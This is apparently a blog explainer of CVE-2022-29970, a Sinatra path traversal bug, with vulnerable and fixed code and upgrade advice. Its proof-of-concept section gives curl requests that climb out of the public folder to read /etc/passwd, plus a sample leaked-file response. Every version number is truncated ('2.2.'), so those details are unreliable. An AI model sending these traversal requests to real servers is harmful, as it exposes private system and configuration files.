If you've built web apps with Ruby, you've probably come across Sinatra, a super-lightweight web framework often used for everything from microservices to APIs. But did you know that older versions of Sinatra had a dangerous bug that could give attackers access to files you never meant to share? In this article, we’re going to break down CVE-2022-29970, explain how it works, and show code snippets to see the bug in action—plus tips to protect your apps.

What is CVE-2022-29970?

CVE-2022-29970 is a path traversal vulnerability in Sinatra versions before 2.2.. When Sinatra serves static files, it’s supposed to keep them inside your public directory for safety. However, thanks to this bug, someone could sneak out of that folder—using special parts in the URL—and grab other files from your server.

Severity: Medium (CVSS 6.5)  
Fixed in: Sinatra 2.2.  
More info:  
- GitHub Advisory GHSA-p7hx-m9hr-j3c7  
- Commit that fixes the bug

How the Vulnerability Works

To understand the bug, let's see how static files normally work. In Sinatra, if you request something like /images/logo.png, Sinatra returns public/images/logo.png. The problem? Sinatra didn’t properly check if the file path was really inside the public directory.

If someone sends a request like /../config/database.yml, Sinatra would expand that path to something like /your/app/config/database.yml—even though it’s outside public! This opens doors for attackers to access files they shouldn’t.

Let’s see a code snippet that runs vulnerable Sinatra code (before 2.2.)

# Gemfile
gem 'sinatra', '2.1.'
# app.rb
require 'sinatra'

get '/' do
  'Hello, world!'
end

By default, Sinatra serves static files from the public folder. Normally, if you visit

http://localhost:4567/secret.txt

It will try to serve public/secret.txt—no problem.

But here’s the kicker:  
Requesting  

http://localhost:4567/../Gemfile


or even  

http://localhost:4567/%2e%2e/Gemfile


will serve the file at ../Gemfile (which is the Gemfile in your app directory).

Example Terminal Output

GET /../Gemfile HTTP/1.1
Host: localhost:4567

HTTP/1.1 200 OK
Content-Type: text/plain

source "https://rubygems.org";
gem "sinatra"
# ... (rest of your Gemfile)

Why Did This Happen?

Sinatra originally used a quick file path comparison. But when the HTTP path included directory traversal tricks (like .. or URL-encoded %2e%2e), the code failed to stop attackers from breaking out of the public folder using expanded file paths.

Here’s roughly how the old (vulnerable) code worked

# pseudo-code example (for illustration!)
requested = File.expand_path(File.join(public_dir, request_path))
send_file(requested) if File.exist?(requested)
# NO check if 'requested' is *inside* public_dir!

Notice, it never checks if requested starts with public_dir!

The Fix

In version 2.2., Sinatra’s team added a check to make sure the expanded path is inside the public directory:

# Secure code
requested = File.expand_path(File.join(public_dir, request_path))
halt 403 unless requested.start_with?(File.expand_path(public_dir))

Now, if someone tries /../Gemfile, Sinatra says 403 Forbidden. Problem solved.

Real-World Exploit: Proof of Concept

You can see how an attacker could use this bug to read /etc/passwd (on UNIX systems) or other private config files:

curl http://localhost:4567/../../etc/passwd

Or with URL-encoded trickery

curl "http://localhost:4567/%2e%2e/%2e%2e/etc/passwd";

If the Sinatra process can read /etc/passwd, it will leak the file in the HTTP response!

The bug is fixed in version 2.2. — upgrade now!

- You can read more at the official advisory.

Keep your Ruby web apps secure—update your dependencies and stay alert for vulnerabilities!

Timeline

Published on: 05/02/2022 05:15:00 UTC
Last modified on: 05/09/2022 17:27:00 UTC